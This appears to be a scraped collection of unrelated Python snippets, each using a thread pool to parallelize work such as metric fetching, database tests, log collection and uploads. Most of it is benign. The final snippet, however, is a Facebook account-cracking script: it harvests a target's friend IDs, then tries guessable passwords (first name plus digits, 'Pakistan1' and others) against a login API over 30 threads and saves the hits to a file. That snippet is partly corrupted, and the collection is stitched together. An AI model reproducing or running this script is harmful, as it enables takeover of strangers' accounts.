def _getGraphiteData(self):

        def getData(metric):
            url = self._createGraphiteRequest(metric)

            s_time = time.time()
            try:
                res = urllib2.urlopen(url)
                data = yaml.load(res)
            except:
                pass 
            finally:
                e_time = time.time() - s_time
                e_time = int(e_time * 1000)
                print "{time}ms/t{url}".format(time = e_time, url = url)

            if len(data) and 'datapoints' in data[0]:
                data = filter(lambda d: d[0] != None, data[0]['datapoints'])

                if data:
                    len_data = len(data)
                    data = [ v / len_data for v in reduce(lambda x, y: [ x[0] + y[0], x[1] + y[1] ], data) ]
                    metric.update({ 'value': data[0], 'time': data[1] })

        pool = Pool(processes=50)
        pool.map(getData, self.metrics)
        pool.close()
        pool.join()
	def _test_monitor_tables_locking_errors(self):
		"""Test that intensive read/write operations to the MySQL Monitor tables
		do not trigger locking errors.

		This test will be successful if there will be no generated error at
		the end.
		"""

		# Setting these variables will cause the Monitor to connect more
		# frequently to the backend hosts to check their health, thus increasing
		# the probability of locking errors to appear.
		self.run_query_proxysql_admin("UPDATE global_variables SET variable_value=100 WHERE variable_name='mysql-monitor_connect_interval'")
		self.run_query_proxysql_admin("UPDATE global_variables SET variable_value=100 WHERE variable_name='mysql-monitor_ping_interval'")
		self.run_query_proxysql_admin("LOAD MYSQL VARIABLES TO RUNTIME")

		queries = []
		q1 = "select * from monitor.mysql_server_connect_log ORDER BY RANDOM() LIMIT 10"
		q2 = "select * from monitor.mysql_server_ping_log ORDER BY RANDOM() LIMIT 10"
		for _ in xrange(10000):
			queries.append(random.choice([q1, q2]))

		pool = ThreadPool(processes=5)
		pool.map(self.run_query_proxysql_admin, queries)

		# If we reached this point without an error, it means that the test
		# has passed.
		self.assertEqual(1, 1)
Exemple #3
0
    def day2week(self):
        stock_codes = self.store.update_stock_codes
        pool = ThreadPool(10)
        pool.map(self.store.write_week_his, stock_codes)
        print ('starting index day2week...')

        self.store.write_week_his('000001', 'index')
Exemple #4
0
def get_next_n(conn, limit=0):
    """Gets duplicate ids for n bugs and stores it in PostgreSQL database.

    Args:
        conn: Psycopg2 connection to PostgreSQL database.
        limit (int): Number of bugs to get duplicates for.

    Returns:
        None.
    """
    cur = conn.cursor()
    cur.execute("SET TIME ZONE 'UTC';")

    query = """
            SELECT f.id
            FROM final f
                LEFT OUTER JOIN duplicates d
                    ON f.id = d.id
            WHERE f.resolution_final = 'duplicate'
                AND d.id IS NULL
            LIMIT {}
            """.format(limit)
    cur_report = conn.cursor()
    cur_report.execute(query)

    # use threads to parallelize API requests
    pool = ThreadPool(10)
    bugs = cur_report.fetchall()
    get_bug_desc_conn = partial(get_duplicate_info, conn)
    pool.map(get_bug_desc_conn, bugs)
    pool.close()
    return
    def testParallelTableUploadAndDownloadTunnel(self):
        p = 'ds=test'

        table, data = self._gen_table(partition=p.split('=', 1)[0], partition_type='string',
                                      partition_val=p.split('=', 1)[1])
        self.assertTrue(table.exist_partition(p))
        records = [table.new_record(values=d) for d in data]

        n_blocks = 5
        blocks = list(range(n_blocks))
        n_threads = 2
        thread_pool = ThreadPool(n_threads)

        def gen_block_records(block_id):
            c = len(data)
            st = int(c / n_blocks * block_id)
            if block_id < n_blocks - 1:
                ed = int(c / n_blocks * (block_id + 1))
            else:
                ed = c
            return records[st: ed]

        def write(w):
            def inner(arg):
                idx, r = arg
                w.write(idx, r)
            return inner

        with table.open_writer(partition=p, blocks=blocks) as writer:
            thread_pool.map(write(writer), [(i, gen_block_records(i)) for i in blocks])

        for step in range(1, 4):
            reads = []
            expected = []

            with table.open_reader(partition=p) as reader:
                count = reader.count

                for i in range(n_blocks):
                    start = int(count / n_blocks * i)
                    if i < n_blocks - 1:
                        end = int(count / n_blocks * (i + 1))
                    else:
                        end = count
                    for record in reader[start:end:step]:
                        reads.append(record)
                    expected.extend(data[start:end:step])

            self.assertEqual(len(expected), len(reads))
            for val1, val2 in zip(expected, [r.values for r in reads]):
                for it1, it2 in zip(val1[:-1], val2[:-1]):
                    if isinstance(it1, dict):
                        self.assertEqual(len(it1), len(it2))
                        self.assertTrue(any(it1[k] == it2[k] for k in it1))
                    elif isinstance(it1, list):
                        self.assertSequenceEqual(it1, it2)
                    else:
                        self.assertEqual(it1, it2)

        table.drop()
Exemple #6
0
def main(dir_path, outfile_path, is_journal=True):
    pn = 20
    flst = os.listdir(dir_path)
    arglst = []
    ret = dict()
    for i in range(pn):
        beg = int(math.ceil(float(len(flst)) / pn * i))
        end = int(math.ceil(float(len(flst)) / pn * (i + 1)))
        if(id == 0):
            beg = 0
        if(id == pn - 1):
            end = (len(flst))
        arglst.append([dir_path, is_journal, beg, end, i, ret])
    pool = ThreadPool(pn)
    pool.map(job_map, arglst)
    pool.close()
    pool.join()
    print(80 * '=')
    print('[acmdl]: map finished')
    print(80 * '=')
    job_reduce(ret, outfile_path)
    print(80 * '=')
    print('[acmdl]: reduce finished')
    print(80 * '=')
    return
  def collect_logs(self):
    """Collect all the microservice log files."""
    log_dir = os.path.join(self.options.log_dir, 'service_logs')
    if not os.path.exists(log_dir):
      os.makedirs(log_dir)

    def fetch_service_log(service):
      try:
        logging.debug('Fetching logs for "%s"...', service)
        deployer = (self if service in HALYARD_SERVICES
                    else self.__spinnaker_deployer)
        deployer.do_fetch_service_log_file(service, log_dir)
      except Exception as ex:
        message = 'Error fetching log for service "{service}": {ex}'.format(
            service=service, ex=ex)
        if ex.message.find('No such file') >= 0:
          message += '\n    Perhaps the service never started.'
          # dont log since the error was already captured.
        else:
          logging.error(message)
          message += '\n{trace}'.format(
              trace=traceback.format_exc())

        write_data_to_secure_path(
            message, os.path.join(log_dir, service + '.log'))

    logging.info('Collecting server log files into "%s"', log_dir)
    all_services = list(SPINNAKER_SERVICES)
    all_services.extend(HALYARD_SERVICES)
    thread_pool = ThreadPool(len(all_services))
    thread_pool.map(fetch_service_log, all_services)
    thread_pool.terminate()
Exemple #8
0
def analyze_commits(project_name, target_repo, existing_target_branches, fork_list):
    print 'Analyzing commits'

    pool = ThreadPool(processes=10)

    existing_target_commits = []

    for fork_repo in fork_list:
        for target_branch in existing_target_branches:

            print '    Analyzing %s (branch: %s) ' % (fork_repo.full_name, target_branch),
            fork_repo_commits = fork_repo.get_commits(sha=target_branch)

            max_commits_to_analyze = 30
            analyzed_commits = 0

            fork_commits_to_analyze = []

            for fork_comm in fork_repo_commits:
                if analyzed_commits == max_commits_to_analyze:
                    break

                fork_commits_to_analyze.append(fork_comm)

                analyzed_commits += 1

            partial_c_in_root = functools.partial(commit_is_in_root,
                                                  existing_target_commits,
                                                  target_repo, fork_repo)

            pool.map(partial_c_in_root, fork_commits_to_analyze)
            print
Exemple #9
0
def svnup(site, commitmessage):
    svn = Popen(['svn', 'status'], cwd=site['localdir'], stdout=PIPE, stderr=PIPE)
    
    
    files = []
    for line in svn.stdout.readlines():
        lineprefix = 'A  +    '
        
        if line.startswith('M') or line.startswith('A'):
            line = line[len(lineprefix):]
            line = line.rstrip('\r').rstrip('\n')
            files.append(line)
        elif (line.startswith('?') 
              or line.startswith('C') 
              or line.startswith('!')):
            call(['svn', 'status'], cwd=site['localdir'])
            exit(1)

    if len(files):
        print 'Uploading: ', '\n'.join(files)
    else:
        print 'Nothing to Update'
        call(['svn', 'status'], cwd=site['localdir'])
        exit(0)
    
    stdout, stderr = svn.communicate()
    
    if stderr:
        print stderr
        exit(1)
    
    def upload(filename):
        remotefilename = path.join(site['remotedir'], filename)
        remoteaddress = 'ftp://%s%s' % (site['host'], remotefilename)
        
        if not path.isdir(filename):
            print 'Uploading: \n', filename
            exitcode = call(['curl',
                  '--progress-bar',
                  '-T', filename, 
                  '--ftp-create-dirs',
                  '--user', '%s:%s' % (site['username'], site['password']),
                  remoteaddress],
                  cwd = site['localdir'])
            
            print ''
            if exitcode:
                print 'Error in uploading "%s"' % filename
                print 'Destenation is "%s"' % remoteaddress
                exit(1)
    
    pool = ThreadPool(settings['concurrentConnections'])
    pool.map(upload, files)
    
    
    for filename in files:
        upload(filename)

    
    call(['svn', 'commit', '-m', commitmessage], cwd=site['localdir'])
Exemple #10
0
	def StartInfrastructure(inf_id, auth):
		"""
		Start all virtual machines in an infrastructure previously stopped.

		Args:

		- inf_id(str): infrastructure id.
		- auth(Authentication): parsed authentication tokens.

		Return(str): error messages; empty string means all was ok.
		"""

		InfrastructureManager.logger.info("Starting the infrastructure id: " + str(inf_id))

		sel_inf = InfrastructureManager.get_infrastructure(inf_id, auth)
		exceptions = []
		if Config.MAX_SIMULTANEOUS_LAUNCHES > 1:
			pool = ThreadPool(processes=Config.MAX_SIMULTANEOUS_LAUNCHES)
			pool.map(
				lambda vm: InfrastructureManager._start_vm(vm, auth, exceptions), 
				reversed(sel_inf.get_vm_list())
				)
		else:
			for vm in sel_inf.get_vm_list():
				InfrastructureManager._start_vm(vm, auth, exceptions)

		if exceptions:
			msg = ""
			for e in exceptions:
				msg += str(e) + "\n"
			raise Exception("Error starting the infrastructure: %s" % msg)

		InfrastructureManager.logger.info("Infrastructure successfully restarted")
		return ""
Exemple #11
0
    def monitorthread(self):
        stock_codes = []
        for item in self.conn.mystock.todaydata.find():

            stock_codes.append(item['code'])
        pool = ThreadPool(40)
        pool.map(self.proxy, stock_codes)
Exemple #12
0
  def run_test_case_list(
      self, test_case_list, max_concurrent, timeout_ok=False,
      max_retries=0, retry_interval_secs=5, full_trace=False):
    """Run a list of test cases.

    Args:
      test_case_list: [list of OperationContract] Specifies the tests to run.
      max_concurrent: [int] The number of cases that can be run concurrently.
      timeout_ok: [bool] If True then individual tests can timeout and still
         be considered having a successful AgentOperationStatus.
      max_retries: [int] Number of independent retries permitted on
         individual operations if the operation status fails. A value of 0
         indicates that a test should only be given a single attempt.
      retry_interval_secs: [int] Time between retries of individual operations.
      full_trace: [bool] If True then provide detailed execution tracing.
    """
    num_threads = min(max_concurrent, len(test_case_list))
    pool = ThreadPool(processes=num_threads)
    def run_one(test_case):
      """Helper function to run individual tests."""
      self.run_test_case(
          test_case=test_case, timeout_ok=timeout_ok,
          max_retries=max_retries, retry_interval_secs=retry_interval_secs,
          full_trace=full_trace)

    self.logger.info(
        'Running %d tests across %d threads.',
        len(test_case_list), num_threads)
    pool.map(run_one, test_case_list)
    self.logger.info('Finished %d tests.', len(test_case_list))
Exemple #13
0
    def copytree_and_gzip(self, source_dir, target_dir):
        """
        Copies the provided source directory to the provided target directory.

        Gzips JavaScript, CSS and HTML and other files along the way.
        """
        # Figure out what we're building...
        build_list = []
        # Walk through the source directory...
        for (dirpath, dirnames, filenames) in os.walk(source_dir):
            for f in filenames:
                # Figure out what is going where
                source_path = os.path.join(dirpath, f)
                rel_path = os.path.relpath(dirpath, source_dir)
                target_path = os.path.join(target_dir, rel_path, f)
                # Add it to our list to build
                build_list.append((source_path, target_path))

        logger.debug("Gzipping {} files".format(len(build_list)))

        # Build em all
        if not getattr(self, 'pooling', False):
            [self.copyfile_and_gzip(*u) for u in build_list]
        else:
            cpu_count = multiprocessing.cpu_count()
            logger.debug("Pooling build on {} CPUs".format(cpu_count))
            pool = ThreadPool(processes=cpu_count)
            pool.map(self.pooled_copyfile_and_gzip, build_list)
Exemple #14
0
    def _load_lyrics(self, songdict):
        total = []
        for songlist in songdict.values():
            total += songlist

        pool = ThreadPool()
        pool.map(Song.load, total)
Exemple #15
0
def read_results(hosts, failed):
  cmd = 'tail -1 iperf-server-6001'
  results = dict()
  args = [(i, cmd, results, failed) for i in hosts]

  pool = ThreadPool(len(hosts))
  pool.map(thread_run, args)

  total = 0.0
  for i, result in results.iteritems():
    r = result.split()
    try:
      if r[-1] == 'Gbits/sec':
        b = float(r[-2]) * 1000
      elif r[-1] == 'Mbits/sec':
        b = float(r[-2])
      else:
        print 'failed on {}: {}'.format(i, result)
        sys.exit(1)
      print '{}: {}'.format(i, b)
      total += b
    except:
      print 'failed on {}: {}'.format(i, result)

  print total/len(hosts)
def test(my_test_cases):
    try:
        logfile = edex_tools.find_latest_log()
    except OSError as e:
        log.error('Error fetching latest log file - %s', e)
        return {}

    total_timeout = 0
    count = 0
    sc = {}
    pool = ThreadPool(MAX_THREADS)

    pool.map(execute_test, my_test_cases)

    for tc in my_test_cases:
        total_timeout += tc.timeout
        count += tc.count

    # wait for all ingestion to complete
    if not edex_tools.watch_log_for('EDEX - Ingest complete for file', logfile=logfile,
                                    expected_count=count, timeout=total_timeout):
        log.error('Timed out waiting for ingest complete message')

    log.info('All files ingested, testing results')

    for tc in pool.map(evaluate_test_case, test_cases):
        sc.update(tc)

    return sc
def main():
    pool = ThreadPool(10)
    base_url = 'https://www.google.com/?gws_rd=ssl#q='
    urls = [base_url+str(i) for i in xrange(1000)]
    pool.map(google_search, urls)
    pool.close()
    pool.join()
def download_dumps(dump_links, config):
    """
    Given a list of direct links to character dumps, this will grab each dump
    and save it to disk in DUMPDIR as <some random guid>.dmp.
    """
    destination_dir = config.dumpdir

    def write_dump(dump):
        filename = str(uuid.uuid4()) + "." + DUMP_EXT
        f = open(os.path.join(destination_dir, filename), "w")
        f.write(dump)
        f.close()

    def download_dump(dump_link):
        dump_page = requests.get(dump_link).text
        soup = BeautifulSoup(dump_page)
        dump = soup.find("pre").text
        write_dump(dump)

    print "Dumping {0} files to {1} using {2} threads.".format(
        len(dump_links), destination_dir, config.concurrency
    )

    if config.concurrency > 1:
        from multiprocessing.pool import ThreadPool
        pool = ThreadPool(processes=config.concurrency)
        pool.map(download_dump, dump_links)
    else:
        map(download_dump, dump_links)
Exemple #19
0
def main(ranking_type=1):
    baseurl = "http://video.fc2.com/a/list.php?m=cont&page={}" + "&type={}".format(ranking_type)

    if os.path.exists(DOWNLOADED_FILE):
        with open(DOWNLOADED_FILE, "r") as f:
            downloaded = f.read().split('\n')
    else:
        downloaded = []

    r = urlopen(baseurl.format(1), timeout=10)
    soup = BeautifulSoup(r.read(), "lxml")
    links = soup.findAll("a")
    targets = set()

    regex = re.compile(r"(?:/a)?/content/(\w+)/?$")

    for link in links:
        url = link.get("href").split("&")[0]
        match = regex.search(url)
        if match is None:
            continue
        target = match.group(1)
        if target in downloaded:
            continue
        targets.add(target)
    # print(targets)
    pool = ThreadPool()  # mp.Pool()
    pool.map(download_fc2, targets)
    print('finished')
    def cleanup(self, odps):
        cleaned = []

        def cleaner_thread(obj):
            try:
                obj.drop(odps)
                cleaned.append(obj)
            except:
                pass

        pool = ThreadPool(CLEANER_THREADS)
        if self._container:
            pool.map(cleaner_thread, self._container)
            pool.close()
            pool.join()
        for obj in cleaned:
            if obj in self._container:
                self._container.remove(obj)
        if not self._container:
            try:
                os.unlink(self._file_name)
            except OSError:
                pass
        else:
            self.dump()
Exemple #21
0
def check_load_on_hosts(psinet, hosts):
    loads = {}

    pool = ThreadPool(25)
    global g_psinet
    g_psinet = psinet
    log_diagnostics('Checking Hosts...')
    results = pool.map(check_load_on_host, hosts)
    log_diagnostics('...done checking hosts')

    # retry failed hosts
    failed_hosts = [psinet._PsiphonNetwork__hosts[result[0]] for result in results if result[1] == -1 or result[5]]
    if len(failed_hosts):
        log_diagnostics('Retrying failed hosts')
    new_results = pool.map(check_load_on_host, failed_hosts)

    for result in results + new_results:
        loads[result[0]] = result[1:]

    cur_users = sum([load[0] for load in loads.itervalues() if load[0] > 0])
    unreachable_hosts = len([load for load in loads.itervalues() if load[0] == -1])
    
    loads = sorted(loads.iteritems(), key=operator.itemgetter(1), reverse=True)
    unreachable = [load for load in loads if load[1][0] == -1]
    process_alerts = [load for load in loads if load[1][4]]
    high_load = [load for load in loads if float(load[1][1]) >= 100.0]
    low_memory = [load for load in loads if float(load[1][2]) < 20.0 or float(load[1][3]) < 20.0]

    for load in low_memory + high_load + process_alerts + unreachable:
        loads.insert(0, loads.pop(loads.index(load)))

    pprint.pprint(loads)
    return cur_users, len(loads), unreachable_hosts, loads
def main():
    print 'arguments were', sys.argv
    if len(sys.argv) == 2:
        if sys.argv[1] == 'init':
            init()
            print 'initialized'
            return sys.exit(0)
        if sys.argv[1] == 'reset':
            import os
            os.unlink('items.db')
            init()
            return sys.exit(0)
        if sys.argv[1] == 'dump':
            dumpDb()

        if sys.argv[1] == 'items':
            showItems()

        if sys.argv[1] == 'kill':
            subprocess.Popen("""kill `ps auxx |grep warc-inject|awk -e '{print $2}'`""",
                             shell=True,stdout=subprocess.PIPE).communicate()[0]


    else:
        #getPage(3)
        from multiprocessing.pool import ThreadPool
        pool = ThreadPool(processes=150)
        pool.map(getPage, xrange(1,1300))
Exemple #23
0
def master():
    # 1. Check args
    if len(sys.argv) < 2:
        print_usage()
        return -1
    # 2. Parse property file
    if not os.path.exists(sys.argv[1]):
        print("Provided Properties file does not exist:" + str(sys.arv[1]))
        return -2
    current_properties = parse_properties_file(sys.argv[1])
    main_log = DDLogger("Main_Class",
                        target_log_file=os.path.join(current_properties[property_parser.WORK_DIR_PROPERTY_NAME],
                                                     "main_log.log"), exit_on_failure=True)
    main_log.log_info("Got all properties.")
    # 3. Get various test profiles.
    all_test_profiles = get_all_profiles(current_properties, main_log)
    main_log.log_info("Got " + str(len(all_test_profiles)) + " To Execute.")

    # 4. Execute each test profile.
    no_of_available_devices = get_available_devices()
    if no_of_available_devices <= 0:
        main_log.log_info("No Devices available to test.")
        return -3
    main_log.log_info("Identified " + str(no_of_available_devices) + " available devices.")
    all_test_profiles = map(lambda x: (x, main_log), all_test_profiles)
    main_log.log_info("Running all test profiles.")
    # As number of test profile to run simultaneously depend on number of devices.
    # create thread pool with number of threads equal to number of devices.
    curr_pool = ThreadPool(processes=no_of_available_devices)
    curr_pool.map(run_test_profile, all_test_profiles)
    main_log.log_info("Scheduled all test profiles.")
    main_log.log_info("All Test Profiles Completed Execution.")
Exemple #24
0
    def _fetch_all_packages():
        proxy = xmlrpclib.ServerProxy(options.url)
        results = proxy.search({'keywords': BASE_KEYWORD})

        last_update_pool = ThreadPool(processes=10)
        if results:
            last_update_pool.map(_fetch_last_update, results)
Exemple #25
0
    def test_multiple_concurrent_request_on_same_client(self):
        import time
        from multiprocessing.pool import ThreadPool

        send_msg = u'test ฟนำีฟนำีฟนำีฟนำี'
        server_start = Event()

        def on_message(msg):
            self.assertEqual(msg, send_msg)

        def server():
            PostofficeServer(ip='0.0.0.0', port=4000, on_message=on_message, after_start_cb=lambda: server_start.set())

        from multiprocessing import Process
        p = Process(target=server)
        try:
            p.start()

            server_start.wait()

            c = PostofficeClient(ip='localhost', port=4000)

            def client(ith):
                c.send(send_msg)

            pool = ThreadPool(100)
            pool.map(client, [i for i in range(1000)])

            p.terminate()
            p.join()
        except Exception as e:
            # gracefully stop
            p.terminate()
            p.join()
            raise
Exemple #26
0
def dowload_person(person_url):
    print 'start to downlaod person %s\n'%(person_url)
    person_pic_url = get_person_pic_url_Set(person_url)
    pool = ThreadPool(8)
    pool.map(download_pic,person_pic_url)
    pool.close()
    pool.join()
Exemple #27
0
    def sync_with_s3(self):
        """
        Walk through our self.local_files list, and match them with the list
        of keys in the S3 bucket.
        """
        # Create a list to put all the files we're going to update
        self.update_list = []

        # Figure out which files need to be updated and upload all these files
        logger.debug("Comparing {} local files with {} bucket files".format(
            len(self.local_file_list),
            len(self.s3_obj_dict.keys())
        ))
        if self.no_pooling:
            [self.compare_local_file(f) for f in self.local_file_list]
        else:
            cpu_count = multiprocessing.cpu_count()
            logger.debug("Pooling local file comparison on {} CPUs".format(cpu_count))
            pool = ThreadPool(processes=cpu_count)
            pool.map(self.compare_local_file, self.local_file_list)

        logger.debug("Uploading {} new or updated files to bucket".format(len(self.update_list)))
        if self.no_pooling:
            [self.upload_to_s3(*u) for u in self.update_list]
        else:
            logger.debug("Pooling s3 uploads on {} CPUs".format(cpu_count))
            pool = ThreadPool(processes=cpu_count)
            pool.map(self.pooled_upload_to_s3, self.update_list)
Exemple #28
0
def main():
    '''
    Handles user input, wikipedia link generation, and instantiation and runtime of threads.
    '''

    # Note that no validation is done at any level of the user input.
    w           =     input("Enter width of the canvas (i.e. 512)                  : ")
    h           =     input("Enter height of the canvas (i.e. 512)                 : ")
    num_threads =     input("Enter number of threads (i.e. 16)                     : ")
    title       = raw_input("Enter title of wikipedia page (i.e New York)          : ")
    destination = raw_input("Enter name of destination file (i.e. masterpiece.png) : ")


    # Get the wikipedia page for the current title and limit the images if specified.
    page = wikipedia.page(title)
    image_urls = page.images

    # Initialize the starting image and lock array.
    base = Image.new('RGB', (w, h), 'white')
    locks = [[threading.Lock() for x in range(h)] for y in range(w)]

    # Create a thread pool with the given number of threads and map the paint() function
    # across the pool.
    pool = ThreadPool(num_threads)
    pool.map(paint, gen(base, locks, image_urls, w, h))

    # Finally, save the image under the specified name.
    base.save(destination)
Exemple #29
0
def run_trials():
    numTrials = 3000
    gens = 1000
    from multiprocessing.pool import ThreadPool as Pool
    pool = Pool(50)

    jids = pool.map(f,[gens]*numTrials)
    print "Done spawning trials. Retrieving results..."

    results = pool.map(cloud_result, jids)
    firstLocusFreqsHists = zeros((numTrials,gens+1), dtype='float')
    lastLocusFreqsHists = zeros((numTrials,gens+1), dtype='float')
    print "Done retrieving results. Press Enter to serialize..."

    raw_input()

    for i, result in enumerate(results):
        firstLocusFreqsHists[i, :], lastLocusFreqsHists[i, :] = result

    with closing(FileStorage("soda_results.durus")) as durus:
        conn = Connection(durus)
        conn.get_root()[str(int(floor(time.time())))] = (firstLocusFreqsHists, lastLocusFreqsHists)
        conn.commit()

    pool.close()
    pool.join()
Exemple #30
0
def main():
    # Run the Tales 
    pool = ThreadPool(processes=int(tcfg['Workers'].get('pool_size', 10)))
    pool = ThreadPool()
    pool.map(worker, tales)
    pool.close()
    pool.join()
def pilih_crack():
	peak = raw_input("\n\033[1;96mChoose an Option ---> \033[1;95m")
	if peak =="":
		print "\x1b[1;91mFill in correctly"
		pilih_crack()
	elif peak =="1":
		os.system('clear')
		print logo
		jjt = raw_input("\033[1;92mEnter ID : \033[1;92m")
		print "►▸▹►▸▹►▸▹►►▸▹►▸▹►▸▹►▸▹◃◄◅◃◄◅◃◄◅▸▹◃◄◅◃◄◅◃◄◅"
		try:
			m = requests.get("https://graph.facebook.com/"+jjt+"?access_token="+toket)
			td = json.loads(m.text)
			print"\033[1;94mName\033[1;94m:\033[1;94m "+td["name"]
		except KeyError:
			print"\x1b[1;91mID Not Found!"
			raw_input("\n\033[1;97m[\033[1;97mBack\033[1;97m]")
			crack()
		print"\033[1;97mGetting IDs\033[1;97m..."
		n = requests.get("https://graph.facebook.com/"+jjt+"/friends?access_token="+toket)
		d = json.loads(n.text)
		for c in d['data']:
			id.append(c['id'])
	elif peak =="0":
		men()
	else:
		print "\x1b[1;91mxallata"
    
		pilih_crack()
	print "\033[1;97mTotal IDs\033[1;97m: \033[1;97m"+str(len(id))
	jalan('\033[1;97mPlease Wait\033[1;97m...')
	titik = ['.   ','..  ','... ']
	for o in titik:
		print("\r\033[1;94mCloning\033[1;94m"+o),;sys.stdout.flush();time.sleep(1)
	print "\033[1;96m Bo Wastany Clonaka CTRL BKA LAGALL Z')
	print "\033[1;91m-------------------------------------------------------------------"
	jalan(' \033[1;95m                                         ')
        jalan(' \033[1;95m      Hackaka Dast Pe Akat      ☕ ')
	print "\033[1;91m----------------------------------------"
	
			
	def main(arg):
		global cekpoint,oks
		user = arg
		try:
			os.mkdir('cookie')
		except OSError:
			pass #Dev:qaiser
		try:
			k = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
			y = json.loads(k.text)
			pass1 = ('786786')
			data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
			s = json.load(data)
			if 'access_token' in s:
				print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass1
				oks.append(user+pass1)
			else:
				if 'www.facebook.com' in s["error_msg"]:
					print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass1
					cek = open("out/checkpoint.txt", "k")
					cek.write(user+"|"+pass1+"\n")
					cek.close()
					cekpoint.append(user+pass1)
				else:
					pass2 = 'professor'
					data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
					s = json.load(data)
					if 'access_token' in s:
						print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass2
						oks.append(user+pass2)
					else:
						if 'www.facebook.com' in s["error_msg"]:
							print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass2
							cek = open("out/checkpoint.txt", "k")
							cek.write(user+"|"+pass2+"\n")
							cek.close()
							cekpoint.append(user+pass2)
						else:
							pass3 = y['first_name'] + '123'
							data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
							s = json.load(data)
							if 'access_token' in s:
								print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass3
								oks.append(user+pass3)
							else:
								if 'www.facebook.com' in s["error_msg"]:
									print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass3
									cek = open("out/checkpoint.txt", "k")
									cek.write(user+"|"+pass3+"\n")
									cek.close()
									cekpoint.append(user+pass3)
								else:
									pass4 = y['first_name'] + '1234'
									data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
									s = json.load(data)
									if 'access_token' in s:
										print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m' + pass4
										oks.append(user+pass4)
									else:
										if 'www.facebook.com' in s["error_msg"]:
											print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass4
											cek = open("out/checkpoint.txt", "k")
											cek.write(user+"|"+pass4+"\n")
											cek.close()
											cekpoint.append(user+pass4)
										else:
											pass5 = y['first_name'] + '12'
											data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
											s = json.load(data)
											if 'access_token' in s:
												print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass5
												oks.append(user+pass5)
											else:
												if 'www.facebook.com' in s["error_msg"]:
													print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass5
													cek = open("out/checkpoint.txt", "k")
													cek.write(user+"|"+pass5+"\n")
													cek.close()
													cekpoint.append(user+pass5)
												else:
													pass6 = y['first_name'] + '786'
													data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
													s = json.load(data)
													if 'access_token' in s:
														print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass6
														oks.append(user+pass6)
													else:
														if 'www.facebook.com' in s["error_msg"]:
															print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass6
															cek = open("out/checkpoint.txt", "k")
															cek.write(user+"|"+pass6+"\n")
															cek.close()
															cekpoint.append(user+pass6)
														else:
															pass7 = 'Pakistan1'
															data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
															s = json.load(data)
															if 'access_token' in s:
																print '\x1b[1;93mLive\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass7
																oks.append(user+pass7)
															else:
																if 'www.facebook.com' in s["error_msg"]:
																	print '\x1b[1;93mError\x1b[1;97m \x1b[1;97m\x1b[1;97m ' + user + ' \x1b[1;97m\x1b[1;97m ' + pass7
																	cek = open("out/checkpoint.txt", "k")
																	cek.write(user+"|"+pass7+"\n")
																	cek.close()
																	cekpoint.append(user+pass7)
																	
															
		except:
			pass
		
	p = ThreadPool(30)
	p.map(main, id)
	print "▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤"
	print "  Written By Qaiser" #Dev:TheProfessor
